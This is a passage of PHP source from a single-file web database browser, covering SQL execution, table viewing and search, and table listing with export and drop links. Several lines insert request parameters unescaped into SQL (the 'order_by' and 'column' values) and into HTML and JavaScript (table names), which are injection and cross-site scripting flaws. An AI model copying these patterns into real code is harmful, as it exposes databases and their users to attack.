3881 $query_trunc = query_color($query_trunc);
3882 $query_trunc = nl2br($query_trunc);
3883 $query_trunc = html_spaces($query_trunc);
3884 if ($exec['error']) {
3885 $exec['error'] = preg_replace('#error:#i', '', $exec['error']);
3886 $top_html .= sprintf('<div style="background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em;"><b style="color:red">Error</b>: %s<div style="margin-top: 0.25em;"><b>Query %s</b>: %s</div></div>', $exec['error'], $i, $query_trunc);
3887 $commit = false;
3888 break;
3889 } else {
3890 $query_html = sprintf('<div class="query"><b style="font-size: 10px;">Query %s</b>:<div style="'.$sql_font.' margin-top: 0.35em;">%s</div></div>', $i, $query_trunc);
3891 $data_html .= $query_html;
3892 $data_html .= $exec['data_html'];
3893 }
3894 }
3895 if ($commit) {
3896 db_end();
3897 } else {
3898 db_rollback();
3899 }
3900 break;
3901 }
3902 $time = time_end($time);
3903 }
3904 }
3905
3906 if ($post['only_marked'] && !$is_sel) {
3907 error('No queries marked');
3908 }
3909
3910?>
3911<?php layout_start(($db_name_h1?$db_name_h1:$db_name).' > Execute SQL'); ?>
3912 <?php if ($get['popup']): ?>
3913 <h1><span style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></span> > Execute SQL</h1>
3914 <?php else: ?>
3915 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Execute SQL</h1>
3916 <?php endif; ?>
3917
3918 <?php echo error();?>
3919
3920 <script>
3921 function sql_submit(form)
3922 {
3923 if (form.perform.value.length) {
3924 return true;
3925 }
3926 return false;
3927 }
3928 function sql_execute(form)
3929 {
3930 form.perform.value='execute';
3931 form.submit();
3932 }
3933 function sql_preview(form)
3934 {
3935 form.perform.value='preview';
3936 form.submit();
3937 }
3938 function sql_save(form)
3939 {
3940 form.perform.value='save';
3941 form.submit();
3942 }
3943 function sql_load(form)
3944 {
3945 if (form.load_from.selectedIndex)
3946 {
3947 form.perform.value='load';
3948 form.submit();
3949 return true;
3950 }
3951 button_clear(form);
3952 return false;
3953 }
3954 </script>
3955
3956 <?php if ($msg): ?>
3957 <div class="msg"><?php echo $msg;?></div>
3958 <?php endif; ?>
3959
3960 <?php echo $top_html;?>
3961
3962 <?php if (count($sql_assoc)): ?>
3963 <p>
3964 SELECT queries:
3965 <select name="sql_assoc" onchange="if (this.value.length) location=this.value">
3966 <option value="<?php echo html_once($sql_main_url);?>"></option>
3967 <?php echo options($sql_assoc, $sql_selected);?>
3968 </select>
3969 </p>
3970 <?php endif; ?>
3971
3972 <?php if ($get['md5']): ?>
3973 <?php echo $data_html;?>
3974 <?php endif; ?>
3975
3976 <form action="<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1&popup=<?php echo $get['popup'];?>" method="post" onsubmit="return sql_submit(this);" style="margin-top: 1em;">
3977 <input type="hidden" name="perform" value="">
3978 <div style="margin-bottom: 0.25em;">
3979 <textarea id="sql_area" name="sql" class="sql_area"><?php echo htmlspecialchars(query_upper($post['sql']));?></textarea>
3980 </div>
3981 <table cellspacing="0" cellpadding="0"><tr>
3982 <td nowrap>
3983 <input type="button" wait="1" class="button" value="Execute" onclick="sql_execute(this.form); ">
3984 </td>
3985 <td nowrap>
3986
3987 <input type="button" wait="1" class="button" value="Preview" onclick="sql_preview(this.form); ">
3988 </td>
3989 <td nowrap>
3990
3991 <input type="checkbox" name="only_marked" id="only_marked" value="1" <?php echo checked($post['only_marked'] || $get['only_marked']);?>>
3992 </td>
3993 <td nowrap>
3994 <label for="only_marked">only marked</label>
3995 </td>
3996 <td nowrap>
3997
3998 <input type="checkbox" name="only_select" id="only_select" value="1" <?php echo checked($post['only_select'] || $get['only_select']);?>>
3999 </td>
4000 <td nowrap>
4001 <label for="only_select">only SELECT</label>
4002
4003 </td>
4004 <td nowrap>
4005 <input type="text" name="save_as" value="<?php echo html_once($post['save_as']);?>">
4006
4007 </td>
4008 <td nowrap>
4009 <input type="button" wait="1" class="button" value="Save" onclick="sql_save(this.form); ">
4010
4011 </td>
4012 <td nowrap>
4013 <select name="load_from" style="width: 140px;"><option value=""></option><?php echo options($load_assoc);?></select>
4014
4015 </td>
4016 <td nowrap>
4017 <input type="button" wait="1" class="button" value="Load" onclick="return sql_load(this.form);">
4018 </td>
4019 </tr></table>
4020 </form>
4021
4022 <?php
4023
4024 if ('preview' == $post['perform'])
4025 {
4026 echo '<h2>Preview</h2>';
4027 $i = 0;
4028 foreach ($queries as $query)
4029 {
4030 $i++;
4031 $query = str_cut_start($query, '@');
4032 $query = html_once($query);
4033 $query = query_color($query);
4034 $query = nl2br($query);
4035 $query = html_spaces($query);
4036 printf('<div class="query"><b style="font-size: 10px;">Query %s</b>:<div style="'.$sql_font.' margin-top: 0.35em;">%s</div></div>', $i, $query);
4037 }
4038 }
4039
4040 ?>
4041
4042 <?php if (!$get['md5']): ?>
4043 <script>$('sql_area').focus();</script>
4044 <?php echo $data_html;?>
4045 <?php endif; ?>
4046
4047 <?php layout_end(); ?>
4048
4049<?php exit; endif; ?>
4050<?php if (isset($_GET['viewtable']) && $_GET['viewtable']): ?>
4051
4052 <?php
4053
4054 set_time_limit(0);
4055
4056 // ----------------------------------------------------------------
4057 // VIEW TABLE
4058 // ----------------------------------------------------------------
4059
4060 $table = $_GET['viewtable'];
4061 $table_enq = quote_table($table);
4062 $count = db_one("SELECT COUNT(*) FROM $table_enq");
4063
4064 $types = table_types2($table);
4065 $columns = table_columns($table);
4066 if (!count($columns)) {
4067 $columns = array_assoc(array_keys($types));
4068 }
4069 $columns2 = $columns;
4070
4071 foreach ($columns2 as $k => $v) {
4072 $columns2[$k] = $v.' ('.$types[$k].')';
4073 }
4074 $types_group = table_types_group($types);
4075 $_GET['search'] = get('search');
4076
4077 $where = '';
4078 $found = $count;
4079 if ($_GET['search']) {
4080 $search = $_GET['search'];
4081 $cols2 = array();
4082
4083 if (get('column')) {
4084 $cols2[] = $_GET['column'];
4085 } else {
4086 $cols2 = $columns;
4087 }
4088 $where = '';
4089 $search = db_escape($search);
4090
4091 $column_type = '';
4092 if (!get('column')) {
4093 $column_type = get('column_type');
4094 } else {
4095 $_GET['column_type'] = '';
4096 }
4097
4098 $ignore_int = false;
4099 $ignore_time = false;
4100
4101 foreach ($columns as $col)
4102 {
4103 if (!get('column') && $column_type) {
4104 if ($types[$col] != $column_type) {
4105 continue;
4106 }
4107 }
4108 if (!$column_type && !is_numeric($search) && str_has($types[$col], 'int')) {
4109 $ignore_int = true;
4110 continue;
4111 }
4112 if (!$column_type && is_numeric($search) && str_has($types[$col], 'time')) {
4113 $ignore_time = true;
4114 continue;
4115 }
4116 if (get('column') && $col != $_GET['column']) {
4117 continue;
4118 }
4119 if ($where) { $where .= ' OR '; }
4120 if (is_numeric($search)) {
4121 $where .= "$col = '$search'";
4122 } else {
4123 if ('mysql' == $db_driver) {
4124 $where .= "$col LIKE '%$search%'";
4125 } else if ('pgsql' == $db_driver) {
4126 $where .= "$col ILIKE '%$search%'";
4127 } else {
4128 trigger_error('db_driver not implemented');
4129 }
4130 }
4131 }
4132 if (($ignore_int || $ignore_time) && !$where) {
4133 $where .= ' 1=2 ';
4134 }
4135 $where = 'WHERE '.$where;
4136 }
4137
4138 if ($where) {
4139 $table_enq = quote_table($table);
4140 $found = db_one("SELECT COUNT(*) FROM $table_enq $where");
4141 }
4142
4143 $limit = 50;
4144 $offset = get('offset','int');
4145 $page = floor($offset / $limit + 1);
4146 $pages = ceil($found / $limit);
4147
4148 $pk = table_pk($table);
4149
4150 $order = "ORDER BY";
4151 if (get('order_by')) {
4152 $order .= ' '.$_GET['order_by'];
4153 } else {
4154 if ($pk) {
4155 $order .= ' '.$pk;
4156 } else {
4157 $order = '';
4158 }
4159 }
4160 if (get('order_desc')) { $order .= ' DESC'; }
4161
4162 $table_enq = quote_table($table);
4163 $base_query = "SELECT * FROM $table_enq $where $order";
4164 $rs = db_query(db_limit($base_query, $offset, $limit));
4165
4166 if ($count && $rs) {
4167 $rows = array();
4168 while ($row = db_row($rs)) {
4169 $rows[] = $row;
4170 }
4171 db_free($rs);
4172 if (count($rows) && !array_col_match_unique($rows, $pk, '#^\d+$#')) {
4173 $pk = guess_pk($rows);
4174 }
4175 }
4176
4177 function indenthead($str)
4178 {
4179 if (is_array($str)) {
4180 $str2 = '';
4181 foreach ($str as $k => $v) {
4182 $str2 .= sprintf('%s: %s'."\r\n", $k, $v);
4183 }
4184 $str = $str2;
4185 }
4186 $lines = explode("\n", $str);
4187 $max_len = 0;
4188 foreach ($lines as $k => $line) {
4189 $lines[$k] = trim($line);
4190 if (preg_match('#^[^:]+:#', $line, $match)) {
4191 if ($max_len < strlen($match[0])) {
4192 $max_len = strlen($match[0]);
4193 }
4194 }
4195 }
4196 foreach ($lines as $k => $line) {
4197 if (preg_match('#^[^:]+:#', $line, $match)) {
4198 $lines[$k] = str_replace($match[0], $match[0].str_repeat(' ', $max_len - strlen($match[0])), $line);
4199 }
4200 }
4201 return implode("\r\n", $lines);
4202 }
4203
4204 if (get('indenthead')) {
4205 echo '<pre>';
4206 echo 'Table: '.get('viewtable')."\r\n";
4207 echo str_repeat('-', 80)."\r\n";
4208 foreach ($rows as $row) {
4209 echo indenthead($row);
4210 echo str_repeat('-', 80)."\r\n";
4211 }
4212 echo '</pre>';
4213 exit;
4214 }
4215 ?>
4216
4217<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
4218<html>
4219<head>
4220 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
4221 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?> > Table: <?php echo $table;?></title>
4222 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
4223</head>
4224<body>
4225
4226 <?php layout(); ?>
4227
4228 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Table: <?php echo $table;?></h1>
4229
4230 <?php conn_info(); ?>
4231
4232 <p>
4233 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>">All tables</a>
4234 >
4235 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>"><b><?php echo $table;?></b></a> (<?php echo $count;?>)
4236 /
4237
4238 Export to CSV:
4239
4240 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode('|');?>&query=<?php echo base64_encode($base_query); ?>">pipe</a>
4241 -
4242 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode("\t");?>&query=<?php echo base64_encode($base_query); ?>">tab</a>
4243 -
4244 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(',');?>&query=<?php echo base64_encode($base_query); ?>">comma</a>
4245 -
4246 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(';');?>&query=<?php echo base64_encode($base_query); ?>">semicolon</a>
4247
4248 /
4249 Functions:
4250 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&indenthead=1">indenthead()</a>
4251 </p>
4252
4253 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get" style="margin-bottom: 1em;">
4254 <input type="hidden" name="viewtable" value="<?php echo $table;?>">
4255 <table class="ls" cellspacing="1">
4256 <tr>
4257 <td><input type="text" name="search" value="<?php echo html_once(get('search'));?>"></td>
4258 <td><select name="column"><option value=""></option><?php echo options($columns2, get('column'));?></select></td>
4259 <td><select name="column_type"><option value=""></option><?php echo options($types_group, get('column_type'));?></select></td>
4260 <td><input type="submit" value="Search"></td>
4261 <td>
4262 order by:
4263 <select name="order_by"><option value=""></option><?php echo options($columns, get('order_by'));?></select>
4264 <input type="checkbox" name="order_desc" id="order_desc" value="1" <?php echo checked(get('order_desc'));?>>
4265 <label for="order_desc">desc</label>
4266 </td>
4267 <td>
4268 <input type="checkbox" name="full_content" id="full_content" <?php echo checked(get('full_content'));?>>
4269 <label for="full_content">full content</label>
4270 </td>
4271 <td>
4272 <input type="checkbox" name="nl2br" id="nl2br" <?php echo checked(get('nl2br'));?>>
4273 <label for="nl2br">nl2br</label>
4274 </td>
4275 </tr>
4276 </table>
4277 </form>
4278
4279 <?php if ($count): ?>
4280
4281 <?php if ($count && $count != $found): ?>
4282 <p>Found: <b><?php echo $found;?></b></p>
4283 <?php endif; ?>
4284
4285 <?php if ($found): ?>
4286
4287 <?php if ($pages > 1): ?>
4288 <p>
4289 <?php if ($page > 1): ?>
4290 <a href="<?php echo url_offset(($page-1)*$limit-$limit);?>"><< Prev</a>
4291 <?php endif; ?>
4292 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
4293 <?php if ($pages > $page): ?>
4294 <a href="<?php echo url_offset($page*$limit);?>">Next >></a>
4295 <?php endif; ?>
4296 </p>
4297 <?php endif; ?>
4298
4299 <script>
4300 function mark_row(tr)
4301 {
4302 var els = tr.getElementsByTagName('td');
4303 if (tr.marked) {
4304 for (var i = 0; i < els.length; i++) {
4305 els[i].style.backgroundColor = '';
4306 }
4307 tr.marked = false;
4308 } else {
4309 tr.marked = true;
4310 for (var i = 0; i < els.length; i++) {
4311 els[i].style.backgroundColor = '#ddd';
4312 }
4313 }
4314 }
4315 </script>
4316
4317 <table class="ls" cellspacing="1">
4318 <tr>
4319 <?php if ($pk): ?><th>#</th><?php endif; ?>
4320 <?php foreach ($columns as $col): ?>
4321 <?php
4322 $params = array('order_by'=>$col);
4323 $params['order_desc'] = 0;
4324 if (get('order_by') == $col) {
4325 $params['order_desc'] = get('order_desc') ? 0 : 1;
4326 }
4327 ?>
4328 <th><a style="color: #000;" href="<?php echo url(self(), $params);?>"><?php echo $col;?></a></th>
4329 <?php endforeach; ?>
4330 </tr>
4331 <?php
4332 $get_full_content = get('full_content');
4333 $get_nl2br = get('nl2br');
4334 $get_search = get('search');
4335 ?>
4336 <?php
4337 $edit_url_tpl = url(self(true), array('action'=>'editrow', 'table'=>$table, 'pk'=>$pk, 'id'=>'%s'));
4338 ?>
4339 <?php foreach ($rows as $row): ?>
4340 <tr ondblclick="mark_row(this)">
4341 <?php if ($pk): ?>
4342 <?php $edit_url = sprintf($edit_url_tpl, $row[$pk]); ?>
4343 <td><a href="javascript:void(0)" onclick="popup('<?php echo $edit_url;?>', 620, 500)">Edit</a> </td>
4344 <?php endif; ?>
4345 <?php foreach ($row as $k => $v): ?>
4346 <?php
4347 if (!$get_full_content) {
4348 $v = str_truncate($v, 50);
4349 }
4350 //$v = html_once($v);
4351 $v = htmlspecialchars($v);
4352 $nl2br = $get_nl2br;
4353 if ($get_full_content) {
4354 $v = str_wrap($v, 80, '<br>');
4355 }
4356 if ($get_nl2br) {
4357 $v = nl2br($v);
4358 }
4359 //$v = stripslashes(stripslashes($v));
4360 if ($get_search) {
4361 $search = $_GET['search'];
4362 $search_quote = preg_quote($search);
4363 $v = preg_replace('#('.$search_quote.')#i', '<span style="background: yellow;">$1</span>', $v);
4364 }
4365 if ($types[$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k))
4366 && preg_match('#^\d+$#', $v))
4367 {
4368 $tmp = @date('Y-m-d H:i', $v);
4369 if ($tmp) {
4370 $v = $tmp;
4371 }
4372 }
4373 ?>
4374 <td onclick="mark_col(this)" <?php echo $nl2br?'valign="top"':'';?> nowrap><?php echo is_null($row[$k])?'-':$v;?></td>
4375 <?php endforeach; ?>
4376 </tr>
4377 <?php endforeach; ?>
4378 </table>
4379
4380 <?php if ($pages > 1): ?>
4381 <p>
4382 <?php if ($page > 1): ?>
4383 <a href="<?php echo url_offset(($page-1)*$limit-$limit);?>"><< Prev</a>
4384 <?php endif; ?>
4385 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
4386 <?php if ($pages > $page): ?>
4387 <a href="<?php echo url_offset($page*$limit);?>">Next >></a>
4388 <?php endif; ?>
4389 </p>
4390 <?php endif; ?>
4391
4392 <?php endif; ?>
4393
4394 <?php endif; ?>
4395
4396<?php powered_by(); ?>
4397</body>
4398</html>
4399<?php exit; endif; ?>
4400<?php if (get('searchdb')): ?>
4401<?php
4402
4403 // ----------------------------------------------------------------
4404 // SEARCH DB
4405 // ----------------------------------------------------------------
4406
4407 $get = get(array(
4408 'types' => 'array',
4409 'search' => 'string',
4410 'md5' => 'bool',
4411 'table_filter' => 'string'
4412 ));
4413 $get['search'] = trim($get['search']);
4414
4415 $tables = list_tables();
4416
4417 if ($get['table_filter']) {
4418 foreach ($tables as $k => $table) {
4419 if (!str_has_any($table, $get['table_filter'], $ignore_case = true)) {
4420 unset($tables[$k]);
4421 }
4422 }
4423 }
4424
4425 $all_types = array();
4426 $columns = array();
4427 foreach ($tables as $table) {
4428 $types = table_types2($table);
4429 $columns[$table] = $types;
4430 $types = array_values($types);
4431 $all_types = array_merge($all_types, $types);
4432 }
4433 $all_types = array_unique($all_types);
4434
4435 if ($get['search'] && $get['md5']) {
4436 $get['search'] = md5($get['search']);
4437 }
4438
4439?>
4440<?php layout_start(sprintf('%s > Search', $db_name)); ?>
4441 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Search</h1>
4442 <?php conn_info(); ?>
4443
4444 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get">
4445 <input type="hidden" name="searchdb" value="1">
4446 <table class="ls" cellspacing="1">
4447 <tr>
4448 <th>Search:</th>
4449 <td>
4450 <input type="text" name="search" value="<?php echo html_once($get['search']);?>" size="40">
4451 <?php if ($get['search'] && $get['md5']): ?>
4452 md5(<?php echo html_once(get('search'));?>)
4453 <?php endif; ?>
4454 <input type="checkbox" name="md5" id="md5_label" value="1">
4455 <label for="md5_label">md5</label>
4456 </td>
4457 </tr>
4458 <tr>
4459 <th>Table filter:</th>
4460 <td><input type="text" name="table_filter" value="<?php echo html_once($get['table_filter']);?>">
4461 </tr>
4462 <tr>
4463 <th>Columns:</th>
4464 <td>
4465 <?php foreach ($all_types as $type): ?>
4466 <input type="checkbox" id="type_<?php echo $type;?>" name="types[<?php echo $type;?>]" value="1" <?php echo checked(isset($get['types'][$type]));?>>
4467 <label for="type_<?php echo $type;?>"><?php echo $type;?></label>
4468 <?php endforeach; ?>
4469 </td>
4470 </tr>
4471 <tr>
4472 <td colspan="2" class="none">
4473 <input type="submit" value="Search">
4474 </td>
4475 </tr>
4476 </table>
4477 </form>
4478
4479 <?php if ($get['search'] && !count($get['types'])): ?>
4480 <p>No columns selected.</p>
4481 <?php endif; ?>
4482
4483 <?php if ($get['search'] && count($get['types'])): ?>
4484
4485 <p>Searching <b><?php echo count($tables);?></b> tables for: <b><?php echo html_once($get['search']);?></b></p>
4486
4487 <?php $found_any = false; ?>
4488
4489 <?php set_time_limit(0); ?>
4490
4491 <?php foreach ($tables as $table): ?>
4492 <?php
4493
4494 $where = '';
4495 $cols2 = array();
4496
4497 $where = '';
4498 $search = db_escape($get['search']);
4499
4500 foreach ($columns[$table] as $col => $type)
4501 {
4502 if (!in_array($type, array_keys($get['types']))) {
4503 continue;
4504 }
4505 if ($where) {
4506 $where .= ' OR ';
4507 }
4508 if (is_numeric($search)) {
4509 $where .= "$col = '$search'";
4510 } else {
4511 if ('mysql' == $db_driver) {
4512 $where .= "$col LIKE '%$search%'";
4513 } else if ('pgsql' == $db_driver) {
4514 $where .= "$col ILIKE '%$search%'";
4515 } else {
4516 trigger_error('db_driver not implemented');
4517 }
4518 }
4519 }
4520
4521 $found = false;
4522
4523 if ($where) {
4524 $where = 'WHERE '.$where;
4525 $table_enq = quote_table($table);
4526 $found = db_one("SELECT COUNT(*) FROM $table_enq $where");
4527 }
4528
4529 if ($found) {
4530 $found_any = true;
4531 }
4532
4533 ?>
4534
4535 <?php
4536 if ($where && $found) {
4537 $limit = 10;
4538 $offset = 0;
4539 $pk = table_pk($table);
4540
4541 $order = "ORDER BY $pk";
4542 $table_enq = quote_table($table);
4543 $rs = db_query(db_limit("SELECT * FROM $table_enq $where $order", $offset, $limit));
4544
4545 $rows = array();
4546 while ($row = db_row($rs)) {
4547 $rows[] = $row;
4548 }
4549 db_free($rs);
4550 if (count($rows) && !array_col_match_unique($rows, $pk, '#^\d+$#')) {
4551 $pk = guess_pk($rows);
4552 }
4553 }
4554 ?>
4555
4556 <?php if ($where && $found): ?>
4557
4558 <p>
4559 Table: <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&search=<?php echo urlencode($get['search']);?>"><b><?php echo $table;?></b></a><br>
4560 Found: <b><?php echo $found;?></b>
4561 <?php if ($found > $limit): ?>
4562 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&search=<?php echo urlencode($get['search']);?>">show all >></a>
4563 <?php endif; ?>
4564 </p>
4565
4566 <table class="ls" cellspacing="1">
4567 <tr>
4568 <?php if ($pk): ?><th>#</th><?php endif; ?>
4569 <?php foreach ($columns[$table] as $col => $type): ?>
4570 <th><?php echo $col;?></th>
4571 <?php endforeach; ?>
4572 </tr>
4573 <?php foreach ($rows as $row): ?>
4574 <tr>
4575 <?php if ($pk): ?>
4576 <?php $edit_url = url(self(true), array('action'=>'editrow', 'table'=>$table, 'pk'=>$pk, 'id'=>$row[$pk])); ?>
4577 <td><a href="javascript:void(0)" onclick="popup('<?php echo $edit_url;?>', 620, 500)">Edit</a> </td>
4578 <?php endif; ?>
4579 <?php foreach ($row as $k => $v): ?>
4580 <?php
4581 $v = str_truncate($v, 50);
4582 $v = html_once($v);
4583 //$v = stripslashes(stripslashes($v));
4584 $search = $get['search'];
4585 $search_quote = preg_quote($search);
4586 if ($columns[$table][$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k)) && preg_match('#^\d+$#', $v)) {
4587 $tmp = @date('Y-m-d H:i', $v);
4588 if ($tmp) {
4589 $v = $tmp;
4590 }
4591 }
4592 $v = preg_replace('#('.$search_quote.')#i', '<span style="background: yellow;">$1</span>', $v);
4593 ?>
4594 <td nowrap><?php echo $v;?></td>
4595 <?php endforeach; ?>
4596 </tr>
4597 <?php endforeach; ?>
4598 </table>
4599
4600 <?php endif; ?>
4601
4602 <?php endforeach; ?>
4603
4604 <?php if (!$found_any): ?>
4605 <p>No rows found.</p>
4606 <?php endif; ?>
4607
4608 <?php endif; ?>
4609
4610 <?php layout_end(); ?>
4611<?php exit; endif; ?>
4612
4613<?php
4614
4615// ----------------------------------------------------------------
4616// LIST TABLES
4617// ----------------------------------------------------------------
4618
4619$get = get(array('table_filter'=>'string'));
4620
4621?>
4622
4623<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
4624<html>
4625<head>
4626 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
4627 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?></title>
4628 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
4629</head>
4630<body>
4631
4632<?php layout(); ?>
4633<h1 style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></h1>
4634
4635<?php conn_info(); ?>
4636
4637<?php $tables = list_tables(); ?>
4638<?php $status = table_status(); ?>
4639<?php $views = list_tables(true); ?>
4640
4641<p>
4642 Tables: <b><?php echo count($tables);?></b>
4643 -
4644 Total size: <b><?php echo number_format(ceil($status['total_size']/1024),0,'',',').' KB';?></b>
4645 -
4646 Views: <b><?php echo count($views);?></b>
4647 -
4648
4649 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?searchdb=1&table_filter=<?php echo html_once($get['table_filter']);?>">Search</a>
4650 -
4651 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?import=1">Import</a>
4652 -
4653 Export all:
4654
4655 <?php if ('pgsql' == $db_driver): ?>
4656 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=2&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Data only</a>
4657 <?php else: ?>
4658 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=1&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Structure</a> ,
4659 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=2&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Data & structure</a>
4660 <?php endif; ?>
4661</p>
4662
4663<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get" name=table_filter_form style="margin-bottom: 0.5em;">
4664<table cellspacing="0" cellpadding="0"><tr>
4665<td style="padding-right: 3px;">Table or View:</td>
4666<td style="padding-right: 3px;"><input type="text" name="table_filter" id=table_filter value="<?php echo html_once($get['table_filter']);?>"></td>
4667<td style="padding-right: 3px;"><input type="submit" class="button" wait="1" value="Filter"> <a href="javascript:void(0)" onclick="alert('You just start typing on the page and the Input will be focused automatically. ALT+R will Reset the Input and submit the form.')">[?]</a></td>
4668</tr></table>
4669</form>
4670
4671<script>
4672function table_filter_keydown(e)
4673{
4674 if (!e) { e = window.event; }
4675 if (e.keyCode == 27 || e.keyCode == 33 || e.keyCode == 34 || e.keyCode == 38 || e.keyCode == 40) {
4676 document.getElementById('table_filter').blur();
4677 return;
4678 }
4679 // alt + r - reset filter input
4680 if (e.keyCode == 82 && e.altKey) {
4681 document.getElementById('table_filter').value = "";
4682 document.forms["table_filter_form"].submit();
4683 return;
4684 }
4685 // 0-9
4686 if (e.keyCode >= 48 && e.keyCode <= 57 && !e.altKey && !e.ctrlKey && !e.shiftKey && !e.metaKey) {
4687 document.getElementById('table_filter').focus();
4688 }
4689 // a-z
4690 if (e.keyCode >= 65 && e.keyCode <= 90 && !e.altKey && !e.ctrlKey && !e.shiftKey && !e.metaKey) {
4691 document.getElementById('table_filter').focus();
4692 }
4693}
4694document.onkeydown = table_filter_keydown;
4695</script>
4696
4697<div style="float: left;">
4698
4699 <?php
4700 $tables = table_filter($tables, $get['table_filter']);
4701 ?>
4702
4703 <?php if ($get['table_filter']): ?>
4704 <p>Tables found: <b><?php echo count($tables);?></b></p>
4705 <?php endif; ?>
4706
4707 <table class="ls" cellspacing="1">
4708 <tr>
4709 <th>Table</th>
4710 <th>Count</th>
4711 <th>Size</th>
4712 <th>Options</th>
4713 </tr>
4714 <?php foreach ($tables as $table): ?>
4715 <tr>
4716 <td><a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>"><?php echo $table;?></a></td>
4717 <?php
4718 if ('mysql' == $db_driver) {
4719 // $table_enq = quote_table($table);
4720 // $count = db_one("SELECT COUNT(*) FROM $table_enq");
4721 $count = $status[$table]['count'];
4722 }
4723 if ('pgsql' == $db_driver) {
4724 $count = $status[$table]['count'];
4725 if (!$count) {
4726 $table_enq = quote_table($table);
4727 $count = db_one("SELECT COUNT(*) FROM $table_enq");
4728 }
4729 }
4730 ?>
4731 <td align="right"><?php echo number_format($count,0,'',',');?></td>
4732 <td align="right"><?php echo number_format(ceil($status[$table]['size']/1024),0,'',',').' KB';?></td>
4733 <td>
4734 <a href="<?php echo $_SERVER['PHP_SELF'];?>?dump_table=<?php echo $table;?>">Export</a>
4735 -
4736 <?php $table_enq = quote_table($table); ?>
4737 <form action="<?php echo $_SERVER['PHP_SELF'];?>" name="drop_<?php echo $table;?>" method="post" style="display: inline;"><input type="hidden" name="drop_table" value="<?php echo $table;?>"></form>
4738 <a href="javascript:void(0)" onclick="if (confirm('DROP TABLE <?php echo $table_enq;?> ?')) document.forms['drop_<?php echo $table;?>'].submit();">Drop</a>
4739 </td>
4740 </tr>
4741 <?php endforeach; ?>
4742 </table>
4743 <?php unset($table); ?>
4744
4745</div>
4746
4747<?php if (views_supported() && count($views)): ?>
4748<div style="float: left; margin-left: 2em;">
4749
4750 <?php
4751 $views = table_filter($views, $get['table_filter']);
4752 ?>
4753
4754 <?php if ($get['table_filter']): ?>
4755 <p>Views found: <b><?php echo count($views);?></b></p>
4756 <?php endif; ?>
4757
4758 <table class="ls" cellspacing="1">
4759 <tr>
4760 <th>View</th>
4761 <th><a class=blue href="<?php echo $_SERVER['PHP_SELF']; ?>?table_filter=<?php echo urlencode($get['table_filter']);?>&views_count=<?php echo (isset($_GET['views_count']) && $_GET['views_count']) ? 0 : 1; ?>" style="color: #000; text-decoration: underline;" title="Click to enable/disable counting in Views">Count</a></th>
4762 <th>Options</th>
4763 </tr>
4764 <?php foreach ($views as $view): ?>
4765 <?php $view_enq = quote_table($view); ?>
4766 <tr>
4767 <td><a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $view;?>"><?php echo $view;?></a></td>
4768 <?php
4769 if (isset($_GET['views_count']) && $_GET['views_count']) {
4770 $count = db_one("SELECT COUNT(*) FROM $view_enq");
4771 } else {
4772 $count = null;
4773 }
4774 ?>
4775 <td align=right><?php echo isset($count) ? $count : '-'; ?></td>
4776 <td>
4777 <a href="<?php echo $_SERVER['PHP_SELF'];?>?dump_table=<?php echo $view;?>">Export</a>
4778 -
4779 <form action="<?php echo $_SERVER['PHP_SELF'];?>" name="drop_<?php echo $view;?>" method="post" style="display: inline;">
4780 <input type="hidden" name="drop_view" value="<?php echo $view;?>"></form>
